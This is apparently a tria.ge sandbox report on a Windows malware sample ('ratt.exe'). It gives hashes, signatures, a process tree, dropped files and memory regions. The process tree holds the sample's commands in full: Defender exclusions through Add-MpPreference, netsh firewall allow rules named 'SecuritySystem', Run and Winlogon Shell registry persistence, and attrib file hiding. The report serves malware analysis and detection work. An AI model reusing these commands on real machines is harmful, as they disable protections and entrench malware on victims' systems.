Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    30s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/08/2023, 03:36

General

  • Target

    cd35102421d8cddb35fb44ec6cb3b816d35da3ba3650eaeafef706d021aaacb1.exe

  • Size

    1.4MB

  • MD5

    84ad3d337a5f77fc674ed77df0c4055c

  • SHA1

    687e4c1a23d0babc3f330092c78faf92b192e2e2

  • SHA256

    cd35102421d8cddb35fb44ec6cb3b816d35da3ba3650eaeafef706d021aaacb1

  • SHA512

    583da62558c79ebfdfcb8be74f9d99d970be835a245452c8fa6fe270d260fb68338b36b89170b45240b36ef831ff22aefd563e67b7c00570be660714080e3a91

  • SSDEEP

    24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score
8/10

Malware Config

Signatures

  • Modifies Windows Firewall 1 TTPs 2 IoCs
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd35102421d8cddb35fb44ec6cb3b816d35da3ba3650eaeafef706d021aaacb1.exe
    "C:\Users\Admin\AppData\Local\Temp\cd35102421d8cddb35fb44ec6cb3b816d35da3ba3650eaeafef706d021aaacb1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:760
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3940
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Windows\SysWOW64\nslookup.exe
          nslookup myip.opendns.com. resolver1.opendns.com
          4⤵
            PID:844
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4532
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic ComputerSystem get Domain
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4988
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1376
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3748
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4728
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1412
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4516
        • C:\Users\Admin\AppData\Local\Temp\7z.exe
          7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5060
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
          3⤵
            PID:3480
            • C:\Windows\SysWOW64\netsh.exe
              "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
              4⤵
              • Modifies Windows Firewall
              PID:32
            • C:\Windows\SysWOW64\netsh.exe
              "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
              4⤵
              • Modifies Windows Firewall
              PID:2952
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe"
              4⤵
                PID:4672
                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                  wmic computersystem where name="LMMMEQUO" set AutomaticManagedPagefile=False
                  5⤵
                    PID:1376
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe"
                  4⤵
                    PID:1424
                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                      wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
                      5⤵
                        PID:2380
                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
                      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
                      4⤵
                        PID:924
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd" /c ping 127.0.0.1 -n 9 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                          5⤵
                            PID:4728
                            • C:\Windows\SysWOW64\PING.EXE
                              ping 127.0.0.1 -n 9
                              6⤵
                              • Runs ping.exe
                              PID:4964
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                              6⤵
                                PID:1988
                            • C:\Windows\SysWOW64\cmd.exe
                              "cmd" /c ping 127.0.0.1 -n 16 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 16 > nul && "C:\Users\Admin\Music\rot.exe"
                              5⤵
                                PID:2068
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping 127.0.0.1 -n 16
                                  6⤵
                                  • Runs ping.exe
                                  PID:3792
                            • C:\Windows\SysWOW64\attrib.exe
                              "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
                              4⤵
                              • Views/modifies file attributes
                              PID:2440
                          • C:\Windows\SysWOW64\reg.exe
                            REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
                            3⤵
                              PID:2836
                            • C:\Users\Admin\AppData\Local\Temp\ratt.exe
                              "ratt.exe"
                              3⤵
                                PID:1760
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                                  4⤵
                                    PID:4924
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping 127.0.0.1 -n 10
                                      5⤵
                                      • Runs ping.exe
                                      PID:4976
                                    • C:\Windows\SysWOW64\reg.exe
                                      REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                                      5⤵
                                        PID:4900
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "cmd" /c ping 127.0.0.1 -n 12 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 12 > nul && "C:\Users\Admin\Music\rot.exe"
                                      4⤵
                                        PID:3696
                                        • C:\Windows\SysWOW64\PING.EXE
                                          ping 127.0.0.1 -n 12
                                          5⤵
                                          • Runs ping.exe
                                          PID:1508
                                        • C:\Users\Admin\Music\rot.exe
                                          "C:\Users\Admin\Music\rot.exe"
                                          5⤵
                                            PID:760
                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                              6⤵
                                                PID:3368
                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                                6⤵
                                                  PID:5072
                                      • C:\Windows\SysWOW64\PING.EXE
                                        ping 127.0.0.1 -n 12
                                        1⤵
                                        • Runs ping.exe
                                        PID:4052

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

                                        Filesize

                                        101.6MB

                                        MD5

                                        80bc2ee39275504c2687081bb03b8e91

                                        SHA1

                                        cecd97904505d17ccd808614be4ae3b2301eccbb

                                        SHA256

                                        d72f0ec1a53516477f4a3d08a1dc31a02be898852a7844b16aa8f345b6d411ae

                                        SHA512

                                        67fbb4eb413d2f3098913cce610e946c120a8df971ff45d6cd5b4d00c030b973510bc13bb56892002825a921d36170e094d7aff6705946181c941acab401bf81

                                      • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

                                        Filesize

                                        87.8MB

                                        MD5

                                        f4b69e7e7e4bf769d8fc0a3bc2f34141

                                        SHA1

                                        b9beb03247e30afb37b891ca3ac147c540d60fed

                                        SHA256

                                        fb74d383f2db0cdb091524a5c4ebca6eaf9ec33264b4951218186d437b0493a0

                                        SHA512

                                        6efb11e03543a0e429aa40ea97026a8a4c1854270826b919935e7ff9e7d675d7ca922ebf2bcdc56c973b395785ce55550886705dc05bb72df5d644a99a16ccec

                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                        Filesize

                                        1KB

                                        MD5

                                        33b19d75aa77114216dbc23f43b195e3

                                        SHA1

                                        36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                        SHA256

                                        b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                        SHA512

                                        676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ratt.exe.log

                                        Filesize

                                        1KB

                                        MD5

                                        9a2d0ce437d2445330f2646472703087

                                        SHA1

                                        33c83e484a15f35c2caa3af62d5da6b7713a20ae

                                        SHA256

                                        30ea2f716e85f8d14a201e3fb0897d745a01b113342dfb7a9b7ac133c4ef150c

                                        SHA512

                                        a61d18d90bfad9ea8afdfa37537cfea3d5a3d0c161e323fa65840c283bdc87c3de85daaff5519beea2f2719eec1c68398eea8679b55ff733a61052f073162d5d

                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                        Filesize

                                        11KB

                                        MD5

                                        57b46cac55e9292f3b51200f94b19c54

                                        SHA1

                                        56b486187937e0a48ea5792d0141eacc028f6e3d

                                        SHA256

                                        a9e5e80c5e9af61788c1bc996b4b0a925b49468c5df6b4b9ee93794a2666d43e

                                        SHA512

                                        0bc84cad5217010f8fa1645ff5da3791c50350376d0dfdf4a5c99a95ceaefc1e74862f00f983ac3e41b946680ca45227c597615ca15862dc9be80b661668a596

                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                        Filesize

                                        11KB

                                        MD5

                                        10dae88949cc5d0d8497db2c62fd8029

                                        SHA1

                                        9d0577326d76305c36d9779ce581d0c9bffa5a4c

                                        SHA256

                                        d7fed222dc0cc1d4b4194ad61b5bcbd387ea0776949704f3f3cf6247eac9a397

                                        SHA512

                                        ce82f0cdb848bcb638f51227fd7175d29b66e1f257ebc5ab134e39ca38fb826e37b3f2c41f774285465ef648be7fad409df107d72b6d4744fecc957e42db66a6

                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                        Filesize

                                        11KB

                                        MD5

                                        c37c35371a565ba43a3947a610083d5a

                                        SHA1

                                        16a9977179bed70115d266a7168385e8d5e7edd2

                                        SHA256

                                        c3fa6b2c4888fa2c2da02e876486895b29b38d7b40713bee8b324dc541d6c2bf

                                        SHA512

                                        5632daa1232f5eef6761decb4fee5b67cab96ebf3dce1690d02d42e81f7734f6fab50a803161362dbe4643543e667f4fddf42e7bb2d50d3c6326c598851a1417

                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                        Filesize

                                        11KB

                                        MD5

                                        08b63181acfe5ffbd7e1c595794a8b2a

                                        SHA1

                                        3c61d0c701541f418056856642234d7ed99ff586

                                        SHA256

                                        6173867f439a7126204a9946c80820c2fa19e6fe0e14d9f8e07b42c60d565a2b

                                        SHA512

                                        222524d2d8825dff6926f7fc5f1932922f566ebfb69a4058795746870247e4eec3c9ee80912896c4ee3dabee782bfad0c122bc720859dd658acbd3f49dce9589

                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                        Filesize

                                        11KB

                                        MD5

                                        96246ef19bdf992a8ff221f890f7cd04

                                        SHA1

                                        a20532c0b6b6dc7bc43e5f8f3a040f13968e6f7a

                                        SHA256

                                        fd234f1bea296879b2399fc53f2d4560e346d145123c1fce3aaca062c35739c3

                                        SHA512

                                        f0cdbecea86b75782e3b16fb69ae5364846829ffbae91033e01ff7f883702a9c866c9376ed48cb65184ce17569639440b3a7ab857d7896f452a93d50e772d9db

                                      • C:\Users\Admin\AppData\Local\Temp\7z.dll

                                        Filesize

                                        328KB

                                        MD5

                                        15bbbe562f9be3e5dcbb834e635cc231

                                        SHA1

                                        7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

                                        SHA256

                                        ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

                                        SHA512

                                        769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

                                      • C:\Users\Admin\AppData\Local\Temp\7z.dll

                                        Filesize

                                        328KB

                                        MD5

                                        15bbbe562f9be3e5dcbb834e635cc231

                                        SHA1

                                        7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

                                        SHA256

                                        ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

                                        SHA512

                                        769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

                                      • C:\Users\Admin\AppData\Local\Temp\7z.exe

                                        Filesize

                                        71KB

                                        MD5

                                        8ba2e41b330ae9356e62eb63514cf82e

                                        SHA1

                                        8dc266467a5a0d587ed0181d4344581ef4ff30b2

                                        SHA256

                                        ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

                                        SHA512

                                        2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

                                      • C:\Users\Admin\AppData\Local\Temp\7z.exe

                                        Filesize

                                        71KB

                                        MD5

                                        8ba2e41b330ae9356e62eb63514cf82e

                                        SHA1

                                        8dc266467a5a0d587ed0181d4344581ef4ff30b2

                                        SHA256

                                        ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

                                        SHA512

                                        2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

                                      • C:\Users\Admin\AppData\Local\Temp\Add.ps1

                                        Filesize

                                        1KB

                                        MD5

                                        0df43097e0f0acd04d9e17fb43d618b9

                                        SHA1

                                        69b3ade12cb228393a93624e65f41604a17c83b6

                                        SHA256

                                        c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

                                        SHA512

                                        01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybbydsr5.em5.ps1

                                        Filesize

                                        60B

                                        MD5

                                        d17fe0a3f47be24a6453e9ef58c94641

                                        SHA1

                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                        SHA256

                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                        SHA512

                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                      • C:\Users\Admin\AppData\Local\Temp\ratt.7z

                                        Filesize

                                        693KB

                                        MD5

                                        7de6fdf3629c73bf0c29a96fa23ae055

                                        SHA1

                                        dcb37f6d43977601c6460b17387a89b9e4c0609a

                                        SHA256

                                        069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

                                        SHA512

                                        d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

                                      • C:\Users\Admin\AppData\Local\Temp\ratt.bat

                                        Filesize

                                        1KB

                                        MD5

                                        7ea1fec84d76294d9256ae3dca7676b2

                                        SHA1

                                        1e335451d1cbb6951bc77bf75430f4d983491342

                                        SHA256

                                        9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

                                        SHA512

                                        ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

                                      • C:\Users\Admin\AppData\Local\Temp\ratt.exe

                                        Filesize

                                        159.1MB

                                        MD5

                                        78d5ec56cd374eb19d0363a0c2a346ec

                                        SHA1

                                        051a51ffdd1499d1c5dcb5dbf963d246255d06e2

                                        SHA256

                                        f7a8eaea8b831bb97e87ef23866c6e7d3fd54fe1dcc228fa4c003c6eaf4c6352

                                        SHA512

                                        d89cc6f2cfffa3d935039684fe763b735dbdb3cef299eabd5565f23c7027722028301d270a6e78f160e03681e53c5495de827950d90e734417c57ab9a444b799

                                      • C:\Users\Admin\AppData\Local\Temp\ratt.exe

                                        Filesize

                                        73.2MB

                                        MD5

                                        2424fcaf49506c91d2d59c5b4f1f1e38

                                        SHA1

                                        7eb232ceb18da2e9aa7e3af131c85374c94f456f

                                        SHA256

                                        c56851ed2bdaed2efb178abe37de040227f24fb66424a94350b3d00df8c7ca24

                                        SHA512

                                        5e043feda3bf47c92c87b478a09413e41b1cdbbbd0e0692530130d9242a7c0b1589e32f115d23798f58833f0363787d1eb81a2b3f275b616838818d3ee465fdf

                                      • C:\Users\Admin\Music\rot.exe

                                        Filesize

                                        52.0MB

                                        MD5

                                        79af6582d8d0cf0ec0bc8291ed4902b8

                                        SHA1

                                        a9c2460afde4abe233b9cf7442971c822ba8cfe9

                                        SHA256

                                        e0fc8406231c82886bc78b397481ed9377b994372d5e3b60b6186f5e9402099b

                                        SHA512

                                        8b679a8c981bb5c034b8980eefbab3d73f0bab5f71e7623e050f7c8013d08d8577077acce0897ee11078ddfa1049433ac0aeb039c8a201e556e21bd51cf22391

                                      • C:\Users\Admin\Music\rot.exe

                                        Filesize

                                        27.8MB

                                        MD5

                                        2cbc4a8c88b539f5f0c2636483ae5d61

                                        SHA1

                                        b4a8d6cd6ae6b0846e11fb7be8b2096491b834dd

                                        SHA256

                                        e8069ed04e01e659c587f4f0e184012d81e3b0a8d48276264f7cf0530e133ee2

                                        SHA512

                                        d7de6b9aa31152eb93e4f105168c074306c3b7f13105c9d9cdb49a0c36a0a225b275fe10fc96838c48126a79671df2f0999b031c83e8131cd6a395c3e36cc25f

                                      • C:\Users\Admin\Music\rot.exe

                                        Filesize

                                        27.8MB

                                        MD5

                                        77507d63df2101d94845b88621f50615

                                        SHA1

                                        9024a23335f6d50c8259d70da208be70466c748c

                                        SHA256

                                        998756ba3656318752f1d571e4cacfd3997095ad44bd8693d8a319370a80ebf2

                                        SHA512

                                        c8213e5fec2946fc8cdc5bab4da205cf82e69b6d8cf66cf9e7ace416c4a3ed72475369475ba9986021d3783a692cd134a615b09780a854c0f50314e414f1463f

                                      • memory/924-288-0x0000000000E30000-0x0000000000FE6000-memory.dmp

                                        Filesize

                                        1.7MB

                                      • memory/924-295-0x0000000005450000-0x000000000545A000-memory.dmp

                                        Filesize

                                        40KB

                                      • memory/924-289-0x0000000074C20000-0x00000000753D0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/924-302-0x0000000074C20000-0x00000000753D0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/924-290-0x00000000051D0000-0x000000000526C000-memory.dmp

                                        Filesize

                                        624KB

                                      • memory/924-300-0x00000000054B0000-0x00000000054C0000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/924-292-0x0000000005270000-0x0000000005302000-memory.dmp

                                        Filesize

                                        584KB

                                      • memory/924-293-0x00000000054B0000-0x00000000054C0000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/924-297-0x0000000074C20000-0x00000000753D0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/1376-149-0x0000000005820000-0x0000000005E48000-memory.dmp

                                        Filesize

                                        6.2MB

                                      • memory/1376-163-0x00000000051E0000-0x00000000051F0000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/1376-152-0x00000000060F0000-0x0000000006156000-memory.dmp

                                        Filesize

                                        408KB

                                      • memory/1376-146-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/1376-166-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/1376-147-0x00000000051E0000-0x00000000051F0000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/1376-151-0x0000000006080000-0x00000000060E6000-memory.dmp

                                        Filesize

                                        408KB

                                      • memory/1376-148-0x0000000005170000-0x00000000051A6000-memory.dmp

                                        Filesize

                                        216KB

                                      • memory/1376-150-0x0000000005780000-0x00000000057A2000-memory.dmp

                                        Filesize

                                        136KB

                                      • memory/1376-162-0x0000000006770000-0x000000000678E000-memory.dmp

                                        Filesize

                                        120KB

                                      • memory/1412-200-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/1412-199-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/1412-201-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/1412-212-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/1412-214-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/1760-303-0x0000000074C20000-0x00000000753D0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/1760-298-0x0000000000F90000-0x0000000001146000-memory.dmp

                                        Filesize

                                        1.7MB

                                      • memory/1760-299-0x0000000074C20000-0x00000000753D0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/3480-281-0x0000000004A30000-0x0000000004A40000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/3480-245-0x0000000074C20000-0x00000000753D0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/3480-260-0x0000000006620000-0x0000000006652000-memory.dmp

                                        Filesize

                                        200KB

                                      • memory/3480-261-0x0000000070A40000-0x0000000070A8C000-memory.dmp

                                        Filesize

                                        304KB

                                      • memory/3480-271-0x0000000006600000-0x000000000661E000-memory.dmp

                                        Filesize

                                        120KB

                                      • memory/3480-272-0x0000000007AC0000-0x000000000813A000-memory.dmp

                                        Filesize

                                        6.5MB

                                      • memory/3480-273-0x0000000007180000-0x000000000719A000-memory.dmp

                                        Filesize

                                        104KB

                                      • memory/3480-274-0x00000000071D0000-0x00000000071DA000-memory.dmp

                                        Filesize

                                        40KB

                                      • memory/3480-275-0x0000000007620000-0x00000000076B6000-memory.dmp

                                        Filesize

                                        600KB

                                      • memory/3480-276-0x0000000007220000-0x000000000722E000-memory.dmp

                                        Filesize

                                        56KB

                                      • memory/3480-277-0x0000000007600000-0x000000000761A000-memory.dmp

                                        Filesize

                                        104KB

                                      • memory/3480-278-0x00000000075E0000-0x00000000075E8000-memory.dmp

                                        Filesize

                                        32KB

                                      • memory/3480-279-0x0000000074C20000-0x00000000753D0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/3480-280-0x0000000004A30000-0x0000000004A40000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/3480-247-0x0000000004A30000-0x0000000004A40000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/3480-282-0x0000000007700000-0x0000000007722000-memory.dmp

                                        Filesize

                                        136KB

                                      • memory/3480-283-0x00000000086F0000-0x0000000008C94000-memory.dmp

                                        Filesize

                                        5.6MB

                                      • memory/3480-246-0x0000000004A30000-0x0000000004A40000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/3480-285-0x000000007FDF0000-0x000000007FE00000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/3480-259-0x0000000004A30000-0x0000000004A40000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/3480-294-0x0000000074C20000-0x00000000753D0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/3748-182-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/3748-168-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/3748-169-0x0000000002530000-0x0000000002540000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/3748-181-0x0000000002530000-0x0000000002540000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/4516-230-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/4516-228-0x0000000003460000-0x0000000003470000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/4516-217-0x0000000003460000-0x0000000003470000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/4516-216-0x0000000003460000-0x0000000003470000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/4516-215-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/4728-184-0x0000000004F10000-0x0000000004F20000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/4728-185-0x0000000004F10000-0x0000000004F20000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/4728-183-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/4728-196-0x0000000004F10000-0x0000000004F20000-memory.dmp

                                        Filesize

                                        64KB

                                      • memory/4728-198-0x0000000074CF0000-0x00000000754A0000-memory.dmp

                                        Filesize

                                        7.7MB

                                      • memory/5060-233-0x0000000000400000-0x0000000000432000-memory.dmp

                                        Filesize

                                        200KB

                                      • memory/5060-241-0x0000000000400000-0x0000000000432000-memory.dmp

                                        Filesize

                                        200KB

                                      • memory/5060-237-0x0000000010000000-0x00000000100E2000-memory.dmp

                                        Filesize

                                        904KB